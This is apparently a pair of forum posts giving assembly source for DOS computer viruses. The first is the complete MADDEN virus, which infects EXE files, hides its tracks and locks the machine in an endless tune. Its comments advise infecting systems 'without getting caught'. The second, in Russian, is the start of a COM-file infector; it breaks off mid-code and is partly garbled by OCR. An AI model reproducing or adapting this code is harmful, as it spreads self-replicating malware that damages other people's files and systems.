;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a
;trace. You might want to name the program something more innocuous, though.
;MADDEN also locks the pc into a 'maddening' toon when it runs out
;of files to infect. (MADDEN can be assembled to an .obj file under a86,
;then linked to the 'infected' .exe form.)

HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK

PGMSTR DB 'MADDEN.EXE',0

HOST:
mov ax,cs ;we want DS=CS here
mov ds,ax
mov dx,OFFSET PGMSTR
mov ah,41H
int 21H ;delete this exe file
mov ah,4CH
mov al,0
int 21H ;terminate normally
HOSTSEG ENDS


;Host program stack segment

HSTACK SEGMENT PARA STACK
db 100H dup (?) ;100 bytes long
HSTACK ENDS

;------------------------------------------------------------------------
;This is the virus itself

STACKSIZE EQU 100H ;size of stack for the virus
NUMRELS EQU 2 ;number of relocatables in the virus,
which must go in the relocatable pointer table

;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together

;MADDEN Virus code segment. This gains control first, before the host. As this
;ASM file is layed out, this program will look exactly like a simple program
;that was infected by the virus.

VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK

;data storage area comes before any code
VIRUSID DW 0C8AAH ;identifies virus
OLDDTA DD 0 ;old DTA segment and offset
DTA1 DB 2BH dup (?) ;new disk transfer area
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
EXEFILE DB '\*.EXE',0 ;search string for an exe file
ALLFILE DB '\*.*',0 ;search string for any file
USEFILE DB 78 dup (?) ;area to put valid file path
LEVEL DB 0 ;depth to search directories for a file
HANDLE DW 0 ;file handle
FATTR DB 0 ;old file attribute storage area
FTIME DW 0 ;old file time stamp storage area
FDATE DW 0 ;old file date stamp storage area
FSIZE DD 0 ;file size storage area
VIDC DW 0 ;storage area to put VIRUSID from new
host .EXE in, to check if virus already there
VCODE DB 1 ;identifies this version
MUZIK dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK -
notes/delay
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
dw 6087,0020,

dw 6087,0006,
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006

dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
dw 6087,0020,

dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
dw 6087,0020,

dw 6087,0006,
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006

dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
dw 6087,0020,

dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
dw 3043,0010,

dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
dw 6087,0020,

dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
dw 3043,0010,

dw 6087,0006,
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006

dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
dw 6087,0020,

dw 0ffffh
;--------------------------------------------------------------------------
;MADDEN virus main routine starts here
VIRUS:
push ax ;save startup info in ax
mov ax,cs
mov ds,ax ;set up DS=CS for the virus
mov ax,es ;get PSP Seg
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of
abort without getting it
call SHOULDRUN ;run only when certain conditions met signalled by z
set
jnz REL1 ;conditions aren't met, go execute host program
call SETSR ;modify SHOULDRUN procedure to activate conditions
call NEW_DTA ;set up a new DTA location
call FIND_FILE ;get an exe file to attack
jnz TOON ;returned nz - no valid files left, play maddening
toon!
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w
mode
call INFECT ;move program code to file we found to attack
call REST_ATTRIBUTE ;restore the original file attributes and close the
file
FINISH: call RESTORE_DTA ;restore the DTA to its original value at
startup
pop ax ;restore startup value of ax
REL1: ;relocatable marker for host stack segment
mov bx,HSTACK ;set up host program stack segment (ax=segment)
cli ;interrupts off while changing stack
mov ss,bx
REL1A: ;marker for host stack pointer
mov sp,OFFSET HSTACK
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
mov ds,WORD PTR [OLDDTA+2] ;and DS
sti ;interrupts back on
REL2: ;relocatable marker for host code segment
jmp FAR PTR HOST ;begin execution of host program

;--------------------------------------------------------------------------
;First Level - Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS
;functions 4EH and 4FH) on each level.
;
FIND_FILE:
mov al,'\' ;set up current directory path in USEFILE
mov BYTE PTR [USEFILE],al
mov si,OFFSET USEFILE+1
xor dl,dl
mov ah,47H
int 21H ;get current dir, USEFILE= \dir
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
jnz FF2 ;not the root
xor al,al ;make correction for root directory,
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
FF2: mov al,2
mov [LEVEL],al ;search 2 subdirs deep
call FINDBR ;attempt to locate a valid file
jz FF3 ;found one - exit
xor al,al ;nope - try the root directory
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
inc al ;al=1
mov [LEVEL],al ;search one subdir deep
call FINDBR ;attempt to find file
FF3:
ret ;exit with z flag set by FINDBR to indicate
success/failure

;***************************************************************************
; This routine enables MADDEN virus to compell the pc to play a
;'maddening' toon when it can't find a file to infect
;**************************************************************************
TOON:
cli ;interrupts off
mov al,10110110xb ;the magic number
out 43h,al ;send it
lea si,MUZIK ;point (si) to our note table
TOON2: cld ;must increment forward
lodsw ;load word into ax and increment (si)
cmp ax,0ffffh ;is it ffff - if so end of table
jz GO_MUZIK2 ;so, time to jump into endless loop
out 42h,al ;send LSB first
mov al,ah ;place MSB in al
out 42h,al ;send it next
in al,61h ;get value to turn on speaker
or al,00000011xb ;OR the gotten value
out 61h,al ;now we turn on speaker
lodsw ;load the repeat loop count into (ax)
LOOP6: mov cx,8000 ;delay count
LOOP7: loop LOOP7 ;do the delay
dec ax ;decrement repeat count
jnz loop6 ;if not = 0 loop back
in al,61h ;all done
and al,11111100xb ;number turns speaker off
out 61h,al ;send it
jmp short TOON2 ;now go do next note
GO_MUZIK2: ;our loop point
sti ;enable interrupts
jmp TOON ;jump back to beginning - this code
; has the additional advantage of
;locking out CTRL-ALT-DEL reboot.
;The user must do a hard reset to recover.
;--------------------------------------------------------------------------
;SEARCH FUNCTION
;---------------------------------------------------------------------------
;Second Level - Find in a branch
;
;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset,
this
;routine exits with Z set and leaves the file and path in USEFILE
;
FINDBR:
call FINDEXE ;search current dir for EXE first
jnc FBE3 ;found it - exit
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
jz FBE1 ;no - exit
dec [LEVEL] ;yes - decrement LEVEL and continue
mov di,OFFSET USEFILE ;'\curr_dir' is here
mov si,OFFSET ALLFILE ;'\*.*' is here
call CONCAT ;get '\curr_dir\*.*' in USEFILE
inc di
push di ;store pointer to first *
call FIRSTDIR ;get first subdirectory
jnz FBE ;couldn't find it, so quit
FB1: ;otherwise, check it out
pop di ;strip \*.* off of USEFILE
xor al,al
stosb
mov di,OFFSET USEFILE
mov bx,OFFSET DTA2+1EH
mov al,[LEVEL]
mov dl,2BH ;compute correct DTA location for subdir name
mul dl ;which depends on the depth we're at in the search
add bx,ax ;bx points to directory name
mov si,bx
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
push di ;save position of first letter in sub_dir name
call FINDBR ;scan the subdirectory and its subdirectories
(recursive)
jz FBE2 ;if successful, exit
call NEXTDIR ;get next subdirectory in this directory
jz FB1 ;go check it if search successful
FBE: ;else exit, NZ set, cleaned up
inc [LEVEL] ;increment the level counter before exit
pop di ;strip any path or file spec off of original
xor al,al ;directory path
stosb
FBE1: mov al,1 ;return with NZ set
or al,al
ret

FBE2: pop di ;successful exit, pull this off the stack
FBE3: xor al,al ;and set Z
ret ;exit

;--------------------------------------------------------------------------
;Third Level - Part A - Find an EXE file
;
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will
return
;with the c flag set. It will search a whole directory before giving up.
;
FINDEXE:
mov dx,OFFSET DTA1 ;set new DTA for EXE search
mov ah,1AH
int 21H
mov di,OFFSET USEFILE
mov si,OFFSET EXEFILE
call CONCAT ;set up USEFILE with '\dir\*.EXE'
push di ;save position of '\' before '*.EXE'
mov dx,OFFSET USEFILE
mov cx,3FH ;search first for any file
mov ah,4EH
int 21H
NEXTEXE:
or al,al ;is DOS return OK?
jnz FEC ;no - quit with C set
pop di
inc di
stosb ;truncate '\dir\*.EXE' to '\dir\'
mov di,OFFSET USEFILE
mov si,OFFSET DTA1+1EH
call CONCAT ;setup file name '\dir\filename.exe'
dec di
push di
call FILE_OK ;yes - is this a good file to use?
jnc FENC ;yes - valid file found - exit with c reset
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTEXE ;and go test it for validity

FEC: ;no valid file found, return with C set
pop di
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
stc
ret
FENC: ;valid file found, return with NC
pop di
ret


;--------------------------------------------------------------------------
;Third Level - Part B - Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and
;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and
;NEXTDIR, which does the search next.
;
FIRSTDIR:
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
push dx ;save it
mov ah,1AH ;set DTA
int 21H
mov dx,OFFSET USEFILE
mov cx,10H ;search for a directory
mov ah,4EH ;do search first function
int 21H
NEXTD1:
pop bx ;get pointer to search table (DTA)
or al,al ;successful search?
jnz NEXTD3 ;no, quit with NZ set
test BYTE PTR [bx+15H],10H ;is this a directory?
jz NEXTDIR ;no, find another
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
jne NEXTD2 ;no - valid directory, exit, setting Z flag
;else it was dir header entry, so fall through to next
NEXTDIR: ;second entry point for search next
call GET_DTA ;get proper DTA address again - may not be set up
push dx
mov ah,1AH ;set DTA
int 21H
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTD1 ;and loop to check the validity of the return

NEXTD2:
xor al,al ;successful exit, set Z flag
NEXTD3:
ret ;exit routine

;--------------------------------------------------------------------------
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don't want the higher level being ruined by
;corrupted data.
;
GET_DTA:
mov dx,OFFSET DTA2
mov al,2BH
mul [LEVEL]
add dx,ax ;return with dx= proper dta offset
ret

;--------------------------------------------------------------------------
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
;destination (or the first character of the second string, after moved).
;
CONCAT:
mov al,byte ptr es:[di] ;find the end of string 1
inc di
or al,al
jnz CONCAT
dec di ;di points to the null at the end
push di ;save it to return to the caller
CONCAT2:
cld
lodsb ;move second string to end of first
stosb
or al,al
jnz CONCAT2
pop di ;and restore di to point to end of string 1
ret


;--------------------------------------------------------------------------
;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c
;What makes an EXE file useable?:
; a) The signature field in the EXE header must be 'MZ'. (These
; are the first two bytes in the file.)
; b) The Overlay Number field in the EXE header must be zero.
; c) There must be room in the relocatable table for NUMRELS
; more relocatables without enlarging it.
; d) The word VIRUSID must not appear in the 2 bytes just before
; the initial CS:0000 of the test file. If it does, the virus
; is probably already in that file, so we skip it.
;
FILE_OK:
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
jc OK_END ;error in reading the file, so quit
call CHECK_SIG_OVERLAY ;is the overlay number zero?
jc OK_END ;no - exit with c set
call REL_ROOM ;is there room in the relocatable table?
jc OK_END ;no - exit
call IS_ID_THERE ;is id at CS:0000?
OK_END: ret ;return with c flag set properly

;--------------------------------------------------------------------------
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
;number is anything but zero.
CHECK_SIG_OVERLAY:
mov al,'M' ;check the signature first
mov ah,'Z'
cmp ax,WORD PTR [EXE_HDR]
jz CSO_1 ;jump if OK
stc ;else set carry and exit
ret
CSO_1: xor ax,ax
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
ret ;c is set if it's anything but 0

;--------------------------------------------------------------------------
;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
;
GET_EXE_HEADER:
mov dx,OFFSET USEFILE
mov ax,3D02H ;r/w access open file
int 21H
jc RE_RET ;error opening - C set - quit without closing
mov [HANDLE],ax ;else save file handle
mov bx,ax ;handle to bx
mov cx,1CH ;read 28 byte EXE file header
mov dx,OFFSET EXE_HDR ;into this buffer
mov ah,3FH
int 21H
RE_RET: ret ;return with c set properly

;--------------------------------------------------------------------------
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
;is >= than 4 * NUMRELS. If it is, then there is enough room
;
REL_ROOM:
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
cmp ax,4*NUMRELS ;enough room to put relocatables in?
RR_RET: ret ;exit with carry set properly


;--------------------------------------------------------------------------
;This function determines whether the word at the initial CS:0000 in USEFILE
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
;it returns c reset.
;
IS_ID_THERE:
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
add ax,WORD PTR [EXE_HDR+8] ;Header size
mov dx,16
mul dx
mov cx,dx
mov dx,ax ;cxdx = position to look for VIRUSID in file
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H
mov ah,3FH
mov bx,[HANDLE]
mov dx,OFFSET VIDC
mov cx,2 ;read 2 bytes into VIDC
int 21H
jc II_RET ;couldn't read - bad file - report as though
ID is there so we dont do any more to this file
mov ax,[VIDC]
cmp ax,[VIRUSID] ;is it the VIRUSID?
clc
jnz II_RET ;if not, then virus is not already in this
file
stc ;else it is probably there already
II_RET: ret


;--------------------------------------------------------------------------
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS. Assumes file pointer is at end of file.
SETBDY:
mov al,BYTE PTR [FSIZE]
and al,0FH ;see if we have a paragraph boundary (header is
always even # of paragraphs)
jz SB_E ;all set - exit
mov cx,10H ;no - write any old bytes to even it up
sub cl,al ;number of bytes to write in cx
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just
garbage there)
add WORD PTR [FSIZE],cx ;update FSIZE
adc WORD PTR [FSIZE+2],0
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
SB_E: ret

;--------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts
;on a paragraph boundary, and adds how many bytes are necessary to do that.
;
INFECT:
mov cx,WORD PTR [FSIZE+2]
mov dx,WORD PTR [FSIZE]
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H ;go to end of file
call SETBDY ;lengthen to a paragraph boundary if necessary
mov cx,OFFSET FINAL ;last byte of code
xor dx,dx ;first byte of code, DS:DX
mov bx,[HANDLE] ;move virus code to end of file being attacked
with
mov ah,40H ;DOS write function
int 21H
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
inc bx
add dx,bx
mov bx,0
adc cx,bx ;cx:dx is that number
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to 1st relocatable
int 21H
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
mov bx,[HANDLE] ;from the EXE header
mov cx,2
mov ah,40H ;and write it to relocatable REL1+1
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
inc bx ;at FSIZE+REL1A+1
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to place to write SP to
int 21H
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
mov bx,[HANDLE] ;from EXE header
mov cx,2
mov ah,40H ;and write it where it belongs
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
add bx,1 ;at FSIZE+REL2+1 on disk
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL2+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer relavtive to start of file
int 21H
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
mov bx,[HANDLE]
mov cx,4
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
int 21H
;done writing relocatable vectors
;so now adjust the EXE header values
xor cx,cx
xor dx,dx
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to start of file
int 21H
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in
paragraphs)
shr ax,cl
mov bx,WORD PTR [FSIZE+2]
and bl,0FH
mov cl,4
shl bl,cl
add ah,bl
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
mov bx,OFFSET FINAL ;compute new initial SS
add bx,10H ;using the formula SSi=(CSi + (OFFSET
FINAL+16)/16)
mov cl,4
shr bx,cl
add ax,bx
mov WORD PTR [EXE_HDR+14],ax ;and save it
mov ax,OFFSET VIRUS ;get initial IP
mov WORD PTR [EXE_HDR+20],ax ;and save it
mov ax,STACKSIZE ;get initial SP
mov WORD PTR [EXE_HDR+16],ax ;and save it
mov dx,WORD PTR [FSIZE+2]
mov ax,WORD PTR [FSIZE] ;calculate new file size
mov bx,OFFSET FINAL
add ax,bx
xor bx,bx
adc dx,bx ;put it in ax:dx
add ax,200H ;and set up the new page count
adc dx,bx ;page ct= (ax:dx+512)/512
push ax
mov cl,9
shr ax,cl
mov cl,7
shl dx,cl
add ax,dx
mov WORD PTR [EXE_HDR+4],ax ;and save it here
pop ax
and ax,1FFH ;now calculate last page size
mov WORD PTR [EXE_HDR+2],ax ;and put it here
mov ax,NUMRELS ;adjust relocatables counter
add WORD PTR [EXE_HDR+6],ax
mov cx,1CH ;and save data at start of file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
dec ax ;in order to calculate location of
dec ax ;where to add relocatables
mov bx,4 ;Location= (No in table-2)*4+Table Offset
mul bx
add ax,WORD PTR [EXE_HDR+24];table offset
mov bx,0
adc dx,bx ;dx:ax=end of old table in file
mov cx,dx
mov dx,ax
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to table end
int 21H
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of
REL1
mov bx,OFFSET REL1
inc bx ;offset of REL1
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
mov bx,OFFSET REL2
add bx,3 ;offset of REL2
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
mov WORD PTR [EXE_HDR+6],ax
mov cx,8 ;and then write 8 bytes of data in file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
ret ;that's it, infection is complete!

;--------------------------------------------------------------------------
;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n-1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must
;be an even multiple of TIMECT+1.
;
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
;
SHOULDRUN:
xor ah,ah ;zero ax to start, set z flag
SR1: ret ;this gets replaced by NOP when program runs
int 1AH
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
ret ;return with z flag set if it is, else nz set


;--------------------------------------------------------------------------
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load
SETSR:
mov al,90H ;NOP code
mov BYTE PTR SR1,al ;put it in place of RET above
ret ;and return

;--------------------------------------------------------------------------
;This routine sets up the new DTA location at DTA1, and saves the location of
;the initial DTA in the variable OLDDTA.
NEW_DTA:
mov ah,2FH ;get current DTA in ES:BX
int 21H
mov WORD PTR [OLDDTA],bx ;save it here
mov ax,es
mov WORD PTR [OLDDTA+2],ax
mov ax,cs
mov es,ax ;set up ES
mov dx,OFFSET DTA1 ;set new DTA offset
mov ah,1AH
int 21H ;and tell DOS where we want it
ret

;--------------------------------------------------------------------------
;This routine reverses the action of NEW_DTA and restores the DTA to its
;original value.
RESTORE_DTA:
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
mov ax,WORD PTR [OLDDTA+2]
mov ds,ax
mov ah,1AH
int 21H ;and tell DOS where to put it
mov ax,cs ;restore ds before exiting
mov ds,ax
ret

;--------------------------------------------------------------------------
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle
;it was opened under in HANDLE. The file path and name is in USEFILE.
SAVE_ATTRIBUTE:
mov ah,43H ;get file attr
mov al,0
mov dx,OFFSET USEFILE
int 21H
mov [FATTR],cl ;save it here
mov ah,43H ;now set file attr to r/w
mov al,1
mov dx,OFFSET USEFILE
mov cl,0
int 21H
mov dx,OFFSET USEFILE
mov al,2 ;now that we know it's r/w
mov ah,3DH ;we can r/w access open file
int 21H
mov [HANDLE],ax ;save file handle here
mov ah,57H ;and get the file date and time
xor al,al
mov bx,[HANDLE]
int 21H
mov [FTIME],cx ;and save it here
mov [FDATE],dx ;and here
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
mov WORD PTR [FSIZE+2],ax ;search routine
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
mov WORD PTR [FSIZE],ax
ret

;--------------------------------------------------------------------------
;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file
REST_ATTRIBUTE:
mov dx,[FDATE] ;get old date and time
mov cx,[FTIME]
mov ah,57H ;set file date and time to old value
mov al,1
mov bx,[HANDLE]
int 21H
mov ah,3EH
mov bx,[HANDLE] ;close file
int 21H
mov cl,[FATTR]
xor ch,ch
mov ah,43H ;Set file attr to old value
mov al,1
mov dx,OFFSET USEFILE
int 21H
ret

FINAL: ;last byte of code to be kept in virus

VSEG ENDS


;--------------------------------------------------------------------------
;Virus stack segment

VSTACK SEGMENT PARA STACK
db STACKSIZE dup (?)
VSTACK ENDS

END VIRUS ;Entry point is the virus


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... В женский монастырь со своим усталым не ходят.

John Zaicev

unread,
May 20, 2012, 7:07:03 AM5/20/12
to
[√] Привет _All_ !

286 .Устанавливаем тип процессора
CheckByte equ OFOh

[Указываем, что регистры CS и DS содержат
;адрес сегмента кода программы
assume cs:code, ds:code

;Hачало сегмента кода. В конце программы сегмент кода нужно
;закрыть - "code ends"
code segment

Останавливаем смещения в сегменте кода.

Данная строчка обязательна

;для СОМ-программы (все СОМ-программы

начинаются с адреса 100h)

org 100h

start:

;Имитируем зараженный СОМ-файл.
;Тело вируса начинается с метки la
; jmp la



db OE9h ;Код команды JMP

dw offset la-offset real
real:

[Выходим из программы
mov ah,4Ch
int 21 h

;3десь начинается тело вируса
la:

;Сохраняем регистры и флаги
pushf
pusha
push ds es

.Получаем точку входа.

;Для этого вызываем подпрограмму (следующий

;за вызовом адрес) и читаем из стека адрес возврата

call MySelf
MySelf:

pop bp

восстанавливаем первые три байта исходной программы
mov al,[bp+(offset bytes_3[0]-offset MySelf)]
mov byte ptr cs:[100h],al
mov al,[bp+(offset bytes_3[1]-offset MySelf)]
mov byte ptr cs:[101h],al
mov al,[bp+(offset bytes_3[2]-offset MySelf)]
mov byte ptr cs:[102h],al

[Дальнейшая задача вируса - найти новую жертву.

;Для этого используется функция 4Eh (Hайти первый файл).

;Ищем файл с любыми атрибутами

Find_First:

.Ищем первый файл по шаблону имени
mov ah,4Eh

mov dx.offset fname-offset myself
add dx.bp


mov cx,00100111b
int 21 h

;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit
attributes:

.Читаем оригинальные атрибуты файла
mov ax,4300h

mov dx,9Eh .Адрес имени файла
int 21 h

.Сохраняем оригинальные атрибуты файла
push ex

.Устанавливаем новые атрибуты файла
mov ax,4301h

mov dx,9Eh .Адрес имени файла
mov cx,20h
int 21 h

Переходим к открытию файла
jmp Open

;Ищем следующий файл, так как предыдущий не подходит
FincLNext:

;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h

mov dx,9Eh ;Адрес имени файла
pop сх
int 21 h

[Закрываем файл
mov ah,3Eh
int 21 h

;Ищем следующий файл
mov ah,4Fh
int 21 h


;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

.-Открываем файл
Open:

mov ax,3D02h

mov dx,9Eh

int 21 h

;Если при открытии файла ошибок не произошло -
.переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла
See_Him:

xchg bx.ax

mov ah,3Fh

mov dx.offset buf-offset myself

add dx,bp

xor ex,ex ;CX=0

inc ex [(увеличение на 1) СХ=1

int 21 h

.Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего файла -

;этот для заражения не подходит

cmp byte ptr [bp+(offset buf-offset myself )],OE9h

jne find_next

; Переходим в начало файла
mov ax,4200h
xor ex,ex
xor dx.dx
int 21 h

[Читаем первые три байта файла в тело вируса
See_Him2:

mov ah,3Fh



mov dx,offset bytes_3-offset myself

add dx.bp

mov cx,3

int 21 h

.Получаем длину файла, для чего переходим в конец файла
Testik:

mov ax,4202h

xor ex,ex

xor dx.dx

int 21h
Size_test:

;Сохраняем полученную длину файла

mov [bp+(offset flen-offset MySelf)],ax

[Проверяем длину файла
cmp ax.64000

;Если файл не больше 64000 байт,- переходим

;к следующей проверке,

;иначе ищем другой файл (этот слишком велик для заражения)

jna richJest

jmp find_next

Проверим, не заражен ли файл.
;Для этого проверим сигнатуру вируса
RichJest:

[Переходим в конец файла (на последний байт)
mov ax,4200h
xor сх.сх

mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h

;Читаем сигнатуру вируса
Read:

mov ah,3Fh

xor ex,ex

inc ex

mov dx,offset bytik-offset myself


add dx.bp
int 21 h

;Если при чтении файла ошибок

;не произошло - проверяем сигнатуру,

.иначе ищем следующий файл

jnc test_bytik

jmp tind_next

;Проверяем сигнатуру
Test_bytik:

cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte

;Если сигнатура есть, то ищем другой файл,
.если нет - будем заражать

jne NotJnfected
